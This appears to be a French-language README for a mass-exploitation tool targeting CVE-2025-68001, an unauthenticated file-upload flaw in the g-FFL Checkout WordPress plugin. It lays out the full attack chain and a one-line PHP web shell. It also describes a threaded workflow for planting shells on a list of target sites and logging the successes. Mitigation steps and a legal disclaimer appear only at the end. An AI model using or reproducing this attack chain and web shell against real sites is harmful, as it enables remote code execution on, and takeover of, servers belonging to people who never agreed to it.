CVE-2025-68001

Le plugin WordPress g-FFL Checkout <= 2.1.0 est vulnérable à un téléversement arbitraire de fichiers de haute priorité.

  _      _   _   _  _   _     _   _   _   _    
 / \  / |_ __ ) / \  ) |_ __ |_  (_) / \ / \ /|
 \_ \/  |_   /_ \_/ /_  _)   |_) (_) \_/ \_/  |
                                                 

📋 Aperçu

CVE-2025-68001 est une vulnérabilité critique de téléversement arbitraire de fichiers sans authentification découverte dans le plugin WordPress g-FFL Checkout par garidium.

La vulnérabilité permet à un attaquant distant non authentifié de téléverser des fichiers arbitraires — y compris des web shells — sur le serveur cible via l'action AJAX ffl_upload_document, menant à une exécution de code à distance (RCE) complète.

⚙️ Fonctionnement

L'exploit suit une chaîne d'attaque précise en plusieurs étapes :

1. GET /checkout
      ↓
   Extract `checkout_nonce` from inline JavaScript data

2. POST /wp-admin/admin-ajax.php
      action=ffl_upload_document
      nonce=<extracted_nonce>
      document_type=document
      document=<shell.php disguised as image/png>
      ↓
   Server stores the file without extension or MIME validation

3. Parse JSON response
      ↓
   Extract uploaded file path / unique filename

4. Access uploaded shell via HTTP
      ↓
   Remote Code Execution achieved ✔️

Le plugin expose un point de terminaison AJAX ffl_upload_document qui :

• Accepte les téléversements de fichiers sans vérification d'authentification
• N'effectue aucune validation du type de fichier côté serveur
• Renvoie le chemin du fichier stocké dans sa réponse JSON

🔧 Prérequis

Installez toutes les dépendances avant l'exécution :

pip install requests rich

Python 3.8+ est requis.

📂 Structure des fichiers

CVE-2025-68001/
├── CVE-2025-68001.py       # Main exploit script
├── shell.php               # Web shell to upload (you provide this)
├── list.txt                # Target URLs (one per line)
└── success_results.txt     # Auto-generated results output

🚀 Utilisation

Étape 1 — Préparez vos cibles

Créez un fichier list.txt avec une URL cible par ligne :

https://target1.com
https://target2.com
http://target3.com/wordpress

Le script ajoute automatiquement http:// si aucun schéma n'est fourni.

Étape 2 — Préparez votre shell

Placez votre web shell PHP dans le même répertoire. Exemple de shell minimal :

<?php system($_GET['cmd']); ?>

Enregistrez-le sous shell.php (ou tout autre nom — il vous sera demandé de le saisir).

Étape 3 — Lancez l'exploit

python CVE-2025-68001.py

Une invite interactive vous demandera :

Enter targets file name (default: list.txt):
> list.txt

Enter shell file name to upload (default: shell.php):
> shell.php

Enter number of threads (default: 50):
> 20

Étape 4 — Consultez les résultats

Les exploits réussis sont automatiquement enregistrés dans success_results.txt :

https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php

Chaque ligne contient :

• URL cible
• Chemin du fichier stocké sur le serveur
• Nom de fichier unique attribué par le serveur
• Nom de fichier d'origine téléversé

🖥️ Référence des paramètres du script

📊 Exemple de sortie

✔  https://victim.com  — /checkout reachable. Trying exploit...

┌─────────────────────────────────────────────────────┐
│                      Success                        │
│  https://victim.com                                 │
│  Original Name:  shell.php                          │
│  Unique Name:    a7f3c1d9e.php                      │
│  Stored Path:    /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘

All targets processed ✔️. Results saved to: success_results.txt

🔍 Chemin de code vulnérable (technique)

La vulnérabilité réside dans le gestionnaire AJAX du plugin enregistré sans vérification de capacités :

// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');

function ffl_upload_document() {
    // Nonce verified from /checkout page (publicly accessible)
    // No MIME type validation
    // No extension whitelist/blacklist
    move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
    wp_send_json_success(['file_path' => $upload_path]);
}

🛡️ Atténuation et remédiation

Si vous êtes propriétaire de site ou développeur, prenez immédiatement les mesures suivantes :

• ✅ Mettez à jour le plugin g-ffl-checkout vers une version corrigée (> 2.1.0) si elle est disponible
• ✅ Désactivez le plugin jusqu'à confirmation d'un correctif
• ✅ Restreignez les permissions d'exécution dans les répertoires de téléversement (par ex., règles .htaccess)
• ✅ Implémentez une validation du type de fichier côté serveur et une liste blanche stricte des extensions
• ✅ Surveillez les répertoires de téléversement pour détecter les fichiers .php suspects
• ✅ Activez des règles WAF pour bloquer les demandes de téléversement de fichiers AJAX non authentifiées

⚠️ Avis de non-responsabilité

THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.

By using this script, you explicitly agree to the following:

  • You have EXPLICIT written permission from the target system owner.
  • You are operating in a controlled lab or authorized penetration testing engagement.
  • You will NOT use this tool against any system you do not own or have legal
    authorization to test.
  • The author (Nxploited) holds ZERO liability for any damage, data loss,
    legal consequences, or misuse resulting from this tool.